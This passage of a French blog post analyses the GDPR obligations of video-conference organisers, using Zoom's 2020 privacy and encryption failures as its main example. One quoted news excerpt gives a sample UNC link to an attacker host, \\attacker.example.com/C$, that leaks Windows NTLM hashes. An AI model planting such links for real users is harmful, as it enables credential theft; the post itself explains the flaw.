wp:paragraph -->\n<p>En\nGrande Bretagne : <a href=\"https://uk.practicallaw.thomsonreuters.com/D-014-7572?transitionType=Default&amp;contextData=(sc.Default)&amp;firstPage=true&amp;bhcp=1\">Murray\nv Big Picture</a> §80 </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Il\nest dès lors permis de considérer que les images traitées à l’occasion d’une visio-conférence\nrentrent dans le cadre des données biométriques. La possibilité d’éventuels\ntests de reconnaissance faciale n’est pas inclus. De plus, des utilisateurs ne révélant\npas leur identité en utilisant des pseudonymes peuvent être identifiés par la\ndivulgation de leur image.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Par\nconséquent, les images ou vidéos, identifiant les participants en fonction de leur\nappartenance raciale, ethnique, religieuse, philosophique ou syndicale sont à considérer\ncomme entrant dans la catégorie des données à caractère spéciale. De même,\nrentrent dans la catégorie des données spéciales celles ayant trait à l’état de\nsanté ou les données des enfants mineurs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Voire\nla recommandation de la <a href=\"https://www.cnil.fr/sites/default/files/atoms/files/reconnaissance_faciale.pdf\">CNIL</a>\nen matière de Reconnaissance faciale et <a href=\"https://forum.technopolice.fr/assets/uploads/files/1582802422930-1090394890_1901249.pdf\">l’arrêt récent du conseil d’Etat du 27 février\n2020</a>. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Respect des principes de licéité art. 5 <a>[_</a><a href=\"https://awallon.com:15001/d/s/546473812416311539/Fj-SiC6a-IBw6ig8V960YMMlZtQWvEw3-0L5Az1Gplgc_\">RGPD05</a>_]\n</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les données doivent être collectées doivent répondre aux exigences de licéité énumérées à <strong>l’art. 5</strong> <strong>[_<a href=\"https://awallon.com:15001/d/s/546473812416311539/Fj-SiC6a-IBw6ig8V960YMMlZtQWvEw3-0L5Az1Gplgc_\">RGPD05</a>_].</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Les données à caractère personnel\ndoivent être :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>a) <em>traitées\nde manière licite, loyale et transparente au regard de la personne concernée (<strong>licéité,\nloyauté, transparence</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Un privacy notice doit être produit définissant\nla base légale de traitement et garantissant les obligations de transparences définies\ndans l’article 13, comme explicité plus en avant.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>b) collectées\npour des finalités déterminées, explicites et légitimes, et ne pas être\ntraitées ultérieurement d\'une manière incompatible avec ces finalités ; le\ntraitement ultérieur à des fins archivistiques dans l\'intérêt public, à des\nfins de recherche scientifique ou historique ou à des fins statistiques n\'est\npas considéré, conformément à l\'article 89, paragraphe 1, comme incompatible\navec les finalités initiales (<strong>limitation des finalités</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout enregistrement de la vidéo-conférence\net ses utilisations ultérieures doivent être notifiés aux participants et ses\nbases légales justifiées.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>c)\nadéquates, pertinentes et limitées à ce qui est nécessaire au regard des\nfinalités pour lesquelles elles sont traitées (<strong>minimisation des données</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les données collectées doivent être réduites\nau stricte nécessaire.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>d) exactes\net, si nécessaire, tenues à jour; toutes les mesures raisonnables doivent être\nprises pour que les données à caractère personnel qui sont inexactes, eu égard\naux finalités pour lesquelles elles sont traitées, soient effacées ou rectifiées\nsans tarder (<strong>exactitude</strong></em>);</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Si des données sont conservées, elles\nseront soumises à l’obligation de mise à jour pour respecter l’exactitude des\ninformations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>e) <em>conservées\nsous une forme permettant l\'identification des personnes concernées pendant une\ndurée n\'excédant pas celle nécessaire au regard des finalités pour lesquelles\nelles sont traitées; les données à caractère personnel peuvent être conservées\npour des durées plus longues dans la mesure où elles seront traitées exclusivement\nà des fins archivistiques dans l\'intérêt public, à des fins de recherche\nscientifique ou historique ou à des fins statistiques conformément à l\'article\n89, paragraphe 1, pour autant que soient mises en oeuvre les mesures techniques\net organisationnelles appropriées requises par le présent règlement afin de\ngarantir les droits et libertés de la personne concernée <strong>(limitation de la\nconservation</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La durée de conservation doit être définie\net communiquée aux intervenants. Les enregistrements, s’ils existent, ne\npeuvent dépasser le délai fixé. Les archivages devant mettre au point des accès\nlimités et sécurisés lorsqu’ils ne sont plus justifiés.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>f) traitées de\nfaçon à garantir une sécurité appropriée des données à caractère personnel, y\ncompris la protection contre le traitement non autorisé ou illicite et contre\nla perte, la destruction ou les dégâts d\'origine accidentelle, à l\'aide de\nmesures techniques ou organisationnelles appropriées (<strong>intégrité et\nconfidentialité</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La sécurité des vidéo-conférences et de leurs\nenregistrements ou accès ultérieurs sont l’affaire de l’organisateur qui doit s’assurer\nque le prestataire de service rempli bien sa mission conformément aux\nobligations du RGDP. Ceci inclus la transmission par voie d’encryptage excluant\nles transferts vers des pays tiers ne représentant pas une protection adéquate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>2. Le\nresponsable du traitement est responsable du respect du paragraphe 1 et est en\nmesure de démontrer que celui-ci est respecté (<strong>responsabilité</strong>).</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ce\npoint est très important car comme exposé infra, la responsabilité de l’organisateur\nde la vidéo-surveillance peut être engagée pour non-respect du règlement ou accès\nnon autorisé aux données personnelles, ‘distress’ ou perte de contrôle.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>La détermination de la finalité du traitement</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout traitement de données doit répondre à une finalité légitime telle qu’énumérée à l’<strong>art. 6 [_</strong><a href=\"https://awallon.com:15001/d/s/546473817457864974/9_SaB4sD4ZbF_BahmiIcElgM0SeGzjyY-KL.g8maplgc_\"><strong>RGPD06</strong></a><strong>_] </strong>En matière de visio-conférence, le traitement pourra être, soit considéré comme relevant d’un intérêt légitime – avec nécessité de procéder aux tests en trois parties – soit une demande de consentement préalable sera indispensable. Le motif de traitement devra être consigné par le contrôleur le cas échéant sur son registre des traitements <strong>art. 30 [_</strong><a href=\"https://awallon.com:15001/d/s/546474494982665927/7bfN18_k4apJzxqD_sDoa5tS0519LBaB-CrvAcAKtlgc_\"><strong>RGPD30</strong></a>_] et mentionné dans le privacy notice. Il faut rappeler qu’en matière de consentement, celui-ci peut être retranché à tout moment avec le risque d’invalider la licéité de tout enregistrement conservé.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Sur le consentement</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le <strong>paragraphe 11) de</strong> <strong>l’art. 4 [_</strong><a href=\"https://awallon.com:15001/d/s/546473809629196514/4CyJONSTRVux8h1S1hlAemABjAOhOhVp-Xb6AlDaplgc_\"><strong>RGPD04</strong></a><strong>_]</strong> définit le consentement comme <em>« toute manifestation de volonté, <strong>libre, spécifique, éclairé et univoque</strong> par laquelle la personne concernée accepte, par une déclaration ou par un <strong>acte positif clair</strong>, que des données à caractère personnel la concernant fassent l’objet d’un traitement</em> ». </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En outre, <strong>l’art. 7 [_</strong><a href=\"https://awallon.com:15001/d/s/546473823059358010/dF8swi-ycXEJOythcYdwoZ1jGi52TLmI-hr9AuXuplgc_\"><strong>RGPD07</strong></a><strong>_]</strong>, relatif aux conditions applicables au consentement, dispose : </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>« <em>1. Dans les cas où le\ntraitement repose sur le consentement, le responsable du traitement est en\nmesure de démontrer que la personne concernée a donné son consentement au\ntraitement de données à caractère personnel la concernant. &nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>2. Si le consentement de\nla personne concernée est donné dans le cadre d\'une déclaration écrite qui\nconcerne également d\'autres questions, la demande de consentement est présentée\nsous une forme qui la distingue clairement de ces autres questions, sous une\nforme compréhensible et aisément accessible, et formulée en des termes clairs\net simples. Aucune partie de cette déclaration qui constitue une violation du\nprésent règlement n\'est contraignante. / (…) Au moment de déterminer si le\nconsentement est donné librement, il y a lieu de tenir le plus grand compte de\nla question de savoir, entre autres, si l\'exécution d\'un contrat, y compris la\nfourniture d\'un service, est subordonnée au consentement au traitement de\ndonnées à caractère personnel qui n\'est pas nécessaire à l\'exécution dudit contrat.</em> ».</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Un consentement explicite, et informé, est requis des participants à la vidéo-conférence lorsque les données sont collectées avec précision de l’enregistrement ou toutes diffusions totale ou partielle ultérieures, y compris copies d’écrans (screenshots) des meetings. Rappelons que, s’agissant de données biométriques capables d\'identifier des individus, données de catégorie spéciale <strong>art. 9-2 a)</strong> - ceci concerne les données des participants et de toutes autres données personnelles traitées lors de la visio-conférence <strong>art. 9</strong> <strong>[_<a href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\">RGPD09</a>_] -</strong> les consentements devront être répertoriés au registre des traitement conformément à <strong>l’art. 30 [_</strong><a href=\"https://awallon.com:15001/d/s/546474494982665927/7bfN18_k4apJzxqD_sDoa5tS0519LBaB-CrvAcAKtlgc_\"><strong>RGPD30</strong></a>_]. La finalité de traitement des données des personnes non présentes devra être justifiée distinctement.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:list -->\n<ul><li>Certains participants peuvent souhaiter utiliser des pseudonymes pour une\nraison qui leur appartient et peuvent ne pas souhaiter être exposé au grand\npublic. Une alternative doit leur être proposée.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Obligation de transparence – art. 13 [_</strong><a href=\"https://awallon.com:15001/d/s/546474032199938723/6QAGUnfh5Lso2IERmO_35PfDu-WFS-Lp--7HAWgyqlgc_\"><strong>RGPD13</strong></a><strong>_] </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ainsi\nque mentionné plus avant, l’organisateur de la visio-conférence ou le ‘host’ se\ndoit de communiquer en toute transparence les règles et cadre de traitement des\ndonnées, avant la collecte et fournir, au préalable, aux participants :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En\nréalité, il semblerait que de nombreuses applications de visio-conférences manquent\ncruellement de transparence. L\'hôte dispose de multiples capacités et prérogatives\ntechniques qui sont la plupart du temps inconnues aux autres participants\ntelles que l\'enregistrement et leurs diffusions ultérieures. L’<strong>art. 13 [_</strong><a href=\"https://awallon.com:15001/d/s/546474032199938723/6QAGUnfh5Lso2IERmO_35PfDu-WFS-Lp--7HAWgyqlgc_\"><strong>RGPD13</strong></a><strong>_] </strong>requiert&nbsp;de fournir à la\npersonne concernée l’ensemble de ces informations :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>l\'identité et les\ncoordonnées du responsable du traitement et, le cas échéant, du représentant du\nresponsable du traitement;</em></li><li><em>les coordonnées du délégué à\nla protection des données, le cas échéant;</em></li><li><em>les finalités du traitement\nauquel les données personnelles sont destinées ainsi que la base juridique du\ntraitement;</em></li><li><em>lorsque le traitement est\nbasé sur <strong>l\'art. 6, paragraphe 1, point f [_</strong></em><a href=\"https://awallon.com:15001/d/s/546473817457864974/9_SaB4sD4ZbF_BahmiIcElgM0SeGzjyY-KL.g8maplgc_\"><strong><em>RGPD06</em></strong></a><strong><em>_] </em></strong><em>les intérêts légitimes\npoursuivis par le responsable du traitement ou par un tiers;</em></li><li><em>les destinataires ou\ncatégories de destinataires des données personnelles, le cas échéant;</em></li><li><em>le cas échéant, le fait que\nle responsable du traitement a l\'intention de transférer des données à caractère\npersonnel vers un pays tiers ou une organisation internationale et l\'existence\nou l\'absence d\'une décision d\'adéquation de la Commission, ou dans le cas de\ntransferts visés aux <strong>art. 46 </strong>[_</em><a href=\"https://awallon.com:15001/d/s/546474562060073206/wCc5NNfuVGtZCEDxxz6BStB9yee9JWnD-pb5gNUiulgc_\"><em>RGPD46</em></a><em>_] ou <strong>47 [_</strong></em><strong><a href=\"https://awallon.com:15001/d/s/546474565138692367/ai8ZRfn61YIW-lWc0mQFwXg7c-vpOcqi-574A812ulgc_\"><em>RGPD47</em></a></strong><strong><em>_]</em></strong><em> ou <strong>49 [_</strong></em><strong><a href=\"https://awallon.com:15001/d/s/546474569236527405/d3Ss3HULlIGAgfmZOgnP6CNOPXpnNIGb-UL-gP4Wulgc_\"><em>RGPD49</em></a></strong><strong><em>_]</em></strong><em> paragraphe 1, deuxième\nalinéa, référence aux garanties appropriées ou appropriées et aux moyens\npermettant d\'en obtenir une copie ou lorsque celles-ci ont été mises à\ndisposition.</em></li><li>Les droits des participants en vertu des <strong>art. 14 [_</strong><a href=\"https://awallon.com:15001/d/s/546474033709888180/NZ1hg0XLRX1r_mANS3X08rd_LhFLNvCT-yLIgdT6qlgc_\"><strong>RGPD14</strong></a><strong>_]</strong> , <strong>art 15</strong> <strong>[_</strong><a href=\"https://awallon.com:15001/d/s/546474036744467150/dpQYWhIjP2q8K4dCb7E2HguyWsMe9rH5-H7NAm1Oqlgc_\"><strong>RGPD15</strong></a><strong>_]</strong> et notamment leur droit de\nrectification ou rétractation du consentement, leur droit de porter plainte\ndevant l’autorité administrative doivent également leur être rappelés </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>En\nsus des informations visées au paragraphe 1, le responsable du traitement fournit,\nau moment de l\'obtention des données à caractère personnel, aux participants,\nles informations supplémentaires suivantes nécessaires pour garantir un\ntraitement équitable et transparent :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>la période pendant laquelle les données personnelles seront stockées ou, si\ncela n\'est pas possible, les critères utilisés pour déterminer cette période;<ul><li>l\'existence du droit de\ndemander au responsable du traitement l\'accès et la rectification ou\nl\'effacement des données personnelles ou la limitation du traitement concernant\nla personne concernée ou de s\'opposer au traitement ainsi que le droit à la\nportabilité des données;</li></ul><ul><li>lorsque le traitement est\nbasé sur <strong>l\'art. 6</strong> <strong>[_</strong><strong><a href=\"https://awallon.com:15001/d/s/546473817457864974/9_SaB4sD4ZbF_BahmiIcElgM0SeGzjyY-KL.g8maplgc_\">RGPD06</a></strong><strong>_]</strong> paragraphe 1, point a), ou sur <strong>l\'art.\n9</strong> <strong>[_</strong><strong><a href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\">RGPD09</a></strong><strong>_]</strong> paragraphe 2, point a), l\'existence\ndu droit de retirer le consentement à tout moment, sans affecter la licéité du\ntraitement basé sur le consentement avant son retrait;</li></ul><ul><li>le droit de déposer une\nplainte auprès d\'une autorité de contrôle;</li></ul><ul><li>si la fourniture de données\nà caractère personnel est une exigence légale ou contractuelle, ou une exigence\nnécessaire pour conclure un contrat, ainsi que si la personne concernée est\ntenue de fournir les données à caractère personnel et les conséquences\npossibles de la non-fourniture de ces données;</li></ul><ul><li>l\'existence d\'une prise de\ndécision automatisée, y compris le profilage, visée à <strong>l\'art. 22</strong> <strong>[_</strong><strong><a href=\"https://awallon.com:15001/d/s/546474473260365314/Hwg6NIl6VN1xY3w84zHV2sUe1MlmQPAP-gbVgu-Kqlgc_\">RGPD22</a></strong><strong>_]</strong> paragraphes 1 et 4, et, au moins\ndans ces cas, des informations significatives sur la logique impliquée, ainsi\nque la signification et les conséquences envisagées d\'une telle le traitement\nde la personne concernée.</li></ul></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Lorsque le responsable du\ntraitement a l\'intention de poursuivre le traitement des données à caractère\npersonnel à une fin autre que celle pour laquelle ces données ont été\ncollectées, le responsable du traitement fournit à la personne concernée, avant\nce traitement ultérieur, des informations sur cette autre fin et toute autre\ninformation pertinente visée au paragraphe 2.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les paragraphes 1, 2 et 3 ne\ns\'appliquent pas lorsque et dans la mesure où la personne concernée dispose\ndéjà des informations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Un avis de confidentialité\ndoit être remis au moment de la collecte des données, c\'est-à-dire avant l\'heure\nà laquelle les invités entrent en réunion.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les périodes de conservation\ndes données doivent être clarifiées et communiquées.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L\'exigence de limitation de\nla finalité signifie qu\'il doit être clair sur l\'avis de confidentialité qui\naccède aux données, dans quel but spécifique. Le partage de données avec\nFacebook était contraire au RGPD. Même si le développeur Zoom a modifié cela,\nles utilisateurs doivent mettre à jour leur application.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ces données ne doivent pas\nêtre utilisées à d\'autres fins que celles prévus telles que la formation à la\nreconnaissance faciale sans le consentement des intéressés. Le host est\nresponsable du respect de ces principes et notamment des traitements ultérieurs\npar Zoom.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le privacy policy de Zoom a\nsoulevé des craintes justifiées&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://zoom.us/privacy\" target=\"_blank\" rel=\"noreferrer noopener\">Zoom\'s privacy policy&nbsp;</a> claims the right to collect and store personal data\nand share it with third parties such as advertisers.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Jusqu’à ce qu’il soit modifié durant le week-end, pré-daté\nau 18 mars </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>The company&nbsp;</em><em><a href=\"https://zoom.us/privacy?zcid=1231\" target=\"_blank\" rel=\"noreferrer noopener\">updated its privacy policy</a>&nbsp;on Sunday after users reported\nconcerns, and&nbsp;<a href=\"https://twitter.com/ericsyuan/status/1244682869974290433\" target=\"_blank\" rel=\"noreferrer noopener\">on Monday</a>, Eric S. Yuan, chief executive and founder of Zoom, posted a\nlink on Twitter to a company blog item about the policy. <a href=\"https://www.nytimes.com/2020/03/30/technology/new-york-attorney-general-zoom-privacy.html\">NYTimes</a></em></li><li><em>In\na statement for this article, the company said it took “its users’ privacy,\nsecurity and trust extremely seriously,” and had been “working around the clock\nto ensure that hospitals, universities, schools and other businesses across the\nworld can stay connected and operational.”</em><em></em></li><li><em>“We\nappreciate the New York attorney general’s engagement on these issues and are\nhappy to provide her with the requested information,” the statement added.</em></li><li><em>Zoom <strong>privacy\nnotice</strong> grants access to data even though for people who have not a Zoom\naccount</em></li><li><em>Zoom’s privacy policy gives the company rights to collect\npersonal data of people regardless of whether they have a Zoom account. This\ndata they might collect on non-Zoom customers might include their physical\naddress, debit card information and even what device they are using.</em><em></em></li><li><em>They keep the\nright to collect and share information with unspecified third parties in\npresent and in the future.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Privacy by design ou Privacy Enhanced Technology (PET)</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L’application\nZoom comporte bien quelques garde-fous de protection mais ils sont désactivés\npar défaut. Aucun traitement ne doit pouvoir être opéré sans transparence ni consentement\nexprimé par acte positif des sujets concernés. En l’occurrence il n’est pas très\nclair quand un enregistrement est effectué ni ses utilisations ultérieures.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L’application\ncomportait une option de traçage d’attention ou <em>’attention tracking’</em> qui\npermettait au host de tracer l’attention des participants s’ils venaient à\nvisiter d’autres sites ou basculaient sur d’autres fenêtres. Cette option trop\nintrusive a été désactivée.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Encore\nune fois, une notice de privacy devrait éclairer le consentement requis de la\npart des participants. Il n’est pas activé par défaut sachant que les données biométriques,\nde santé ou relatives à des mineurs sont des catégories spéciales nécessitant\nun consentement explicite.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>A small <strong>red\nbutton when recording</strong> - can be easily missed. There is an option of request\nrecording consent at the beginning – what about the ones joining in in the\ncourse of the meeting? The consent request is OFF by default. <strong>Privacy by\ndesign</strong>: should be ON by default</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Obligation de sécurité</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Limiter\nl’accès aux données pour sécuriser le contenu et primordial.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Absence de chiffrage ou encryptage</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le\nchiffrage des communications ou encryptage faisait partie des promesses de Zoom\nmais s’est avéré limité un chiffrage de type browser TLS et non pas UDP comme\nl’a révélé le <a href=\"https://theintercept.com/2020/03/31/zoom-meeting-encryption/\"><em>Intercept</em></a><em>.</em> Zoom s’en est excusé et a reconnu\nle manquement. Or, un encryptage end to end est obligatoire pour s’assurer\nde la protection des données d’autant qu’ils peuvent être de catégorie spéciale.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Or, il s’avère\nque les données seraient stockées sur Amazon S3 en texte clair et ne seraient pas\nmême chiffrées. Par conséquent, tout employé ou développeur de Zoom ayant accès\naux compartiments S3 pour les activités de développement et de maintenance\npourrait les intercepter et se les accaparer pour tels traitements éventuels.\nIl n’y a donc aucune véritable confidentialité sur ces enregistrements. Ce problème\nest loin d’être négligeable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La seule barrière entre l’enregistrement privé et public\nest la sécurité du pare-feu Zoom et des autres éléments qu\'ils ont mis en\nplace. Une fois que ceux-ci ont été violés, par exemple par une attaque de\nphishing, les seaux S3 sont un jeu équitable. Un système de cryptage décent sur les\nenregistrements stockés aurait été indispensable ici.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>a Zoom spokesperson wrote, “Currently, it is not possible to enable E2E encryption for Zoom video meetings. Zoom video meetings use a combination of TCP and UDP. TCP connections are made using TLS and UDP connections are encrypted with AES using a key negotiated over a TLS connection.”</em></li><li><em>On 4/3, Citizen Lab&nbsp;<a href=\"https://citizenlab.ca/2020/04/move-fast-roll-your-own-crypto-a-quick-look-at-the-confidentiality-of-zoom-meetings/\">reported</a></em></li><li><em>Zoom&nbsp;<a href=\"https://zoom.us/docs/doc/Zoom-Security-White-Paper.pdf\">documentation</a>&nbsp;claims that the app uses \"AES-256\" encryption for meetings where possible. However, we find that in each Zoom meeting, a single AES-128 key is used in ECB mode by all participants to encrypt and decrypt audio and video. The use of ECB mode is not recommended because patterns present in the plaintext are preserved during encryption.</em></li><li><em>The AES-128 keys, which we verified are sufficient to decrypt Zoom packets intercepted in Internet traffic, appear to be generated by Zoom servers, and in some cases, are delivered to participants in a Zoom meeting through servers in China, even when all meeting participants, and the Zoom subscriber\'s company, are outside of China. <a href=\"https://www.schneier.com/blog/archives/2020/04/security_and_pr_1.html\">Reported by the Security expert Schneier in his blog</a> </em></li><li><em><a href=\"https://blog.cryptographyengineering.com/2020/04/03/does-zoom-use-end-to-end-encryption/\">Does Zoom uses end to end encryption?</a> </em></li><li><em>Warning: Zoom Makes Encryption Keys In China (Sometimes)</em></li><li><em>Where is the EU DPA investigation? Once again, Eu personal data is in between China interception and the US Cloud Act interception. Data sent outside the EU in China without users knowledge. \"As <a href=\"https://medium.com/hashtag-resist/using-zoom-for-activism-think-about-security-1c4f2903275a\">Citizen Lab</a> hadn’t sent its findings to Zoom, saying it was in the public interest to release the information as soon as possible, the videoconferencing company wouldn’t have been aware of the findings. But Yuan assured that if user data was being transferred to China when users weren’t even based there, “we are willing to address that.”</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>On apprend ainsi\nmême que Zoom transfèrerait des données pour encryptage en Chine, ce que le CEO\nn’a pas manqué de reconnaitre, accidentellement a-t-il dit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://theintercept.com/2020/04/03/zooms-encryption-is-not-suited-for-secrets-and-has-surprising-links-to-china-researchers-discover/\">Zoom’s Encryption Is “Not Suited For Secrets” And Has\nSurprising Links To China, Researchers Discover</a><strong> </strong></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Les déboires ne s’arrêtent pas là, 1er Avril une nouvelle est tombée, Zoom\ns’emparerait des passwords sauvegardés par Windows:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>On\n4/1, we learned that Zoom for Windows can be used to&nbsp;</em><em><a href=\"https://arstechnica.com/information-technology/2020/04/unpatched-zoom-bug-lets-attackers-steal-windows-credentials-with-no-warning/\">steal</a>&nbsp;users\'\nWindow credentials.</em></li><li><em>Attacks\nwork by using the Zoom chat window to send targets a string of text that\nrepresents the network location on the Windows device they\'re using. The Zoom\napp for Windows automatically converts these so-called&nbsp;</em><em><a href=\"https://www.lifewire.com/unc-universal-naming-convention-818230\">universal naming convention</a>&nbsp;strings -- such as \\\\attacker.example.com/C$ --\ninto clickable links. In the event that targets click on those links on\nnetworks that aren\'t fully locked down, Zoom will send the Windows usernames and\nthe corresponding&nbsp;<a href=\"https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-minimum-session-security-for-ntlm-ssp-based-including-secure-rpc-servers\">NTLM</a>&nbsp;hashes\nto the address contained in the link</em>.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Le\n2 avril on apprenait que Zoom accèderait à des données personnelles extraites\ndes profiles Linkedin des utilisateurs :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>On 4/2, we learned that Zoom&nbsp;</em><em><a href=\"https://www.nytimes.com/2020/04/02/technology/zoom-linkedin-data.html\">secretly displayed</a>&nbsp;data from people\'s LinkedIn\nprofiles, which allowed some meeting participants to snoop on each other. <a href=\"https://www.schneier.com/blog/archives/2020/04/security_and_pr_1.html\">(Zoom has fixed this one.)</a></em></li><li><em><a href=\"https://tidbits.com/2020/04/03/every-zoom-security-and-privacy-flaw-so-far-and-what-you-can-do-to-protect-yourself/\">Every Zoom Security and Privacy Flaw So Far, and What\nYou Can Do to Protect Yourself</a> </em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Très vite ont surgi les nouvelles d’intrus s’invitant au milieu des\nmeetings, intrusion qualifiée de ‘ZoomBombing’&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://mashable.com/article/videoconference-crashed-naked-man-privacy/?europe=true\">Naked\nman crashing school\'s video call is a privacy lesson for all</a></em></li><li><em><a href=\"/www.insidehighered.com/news/2020/03/26/zoombombers-disrupt-online-classes-racist-pornographic-content#.Xn26Zv4up1Y.linkedin\">Online Zoom classes were disrupted by individuals\nspewing racist, misogynistic or vulgar content. Experts say professors using\nZoom should familiarize themselves with the program\'s settings.</a></em></li><li><em><a href=\"https://techcrunch.com/2020/03/17/zoombombing/\">Suddenly, dozens of attendees were bombarded with disturbing imagery. A\ntroll entered the call and screenshared Two Girls, One Cup and other horrifying\nsexual videos. Attempts to block the attack were thwarted as the perpetrator\nsimply re-entered the call</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Autre problème éventuellement solutionné par Zoom,\nl’envoi de données à Facebook par utilisation de SDK dénoncé par <a href=\"https://www.vice.com/en_us/article/k7e599/zoom-ios-app-sends-data-to-facebook-even-if-you-dont-have-a-facebook-account\">Motherboard</a> :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Last week, after an&nbsp;</em><em><a href=\"https://www.vice.com/en_us/article/k7e599/zoom-ios-app-sends-data-to-facebook-even-if-you-dont-have-a-facebook-account\" target=\"_blank\" rel=\"noreferrer noopener\">article on the\nnews site Motherboard</a>&nbsp;reported\nthat software inside the Zoom iPhone app was sending user data to Facebook, the\ncompany said it was&nbsp;<a href=\"https://www.vice.com/en_us/article/z3b745/zoom-removes-code-that-sends-data-to-facebook\" target=\"_blank\" rel=\"noreferrer noopener\">removing the\ntracking software</a>.</em></li><li><em>Zoom, like other apps, uses <strong>Facebook\'</strong>s software development\nkits (SDK) to implement features quickly. In exchange, Facebook gains useful\ninformation about users. As Vice\'s Motherboard explains, Zoom connects to\nFacebook\'s Graph API, which is the way developers get data in or out of\nFacebook.</em><em></em></li><li><em>The Zoom app notifies Facebook when the user opens the app,\ndetails on the user\'s device such as the model, the time zone and city they are\nconnecting from, which phone carrier they are using, and a unique advertiser\nidentifier created by the user\'s device which companies can use to target 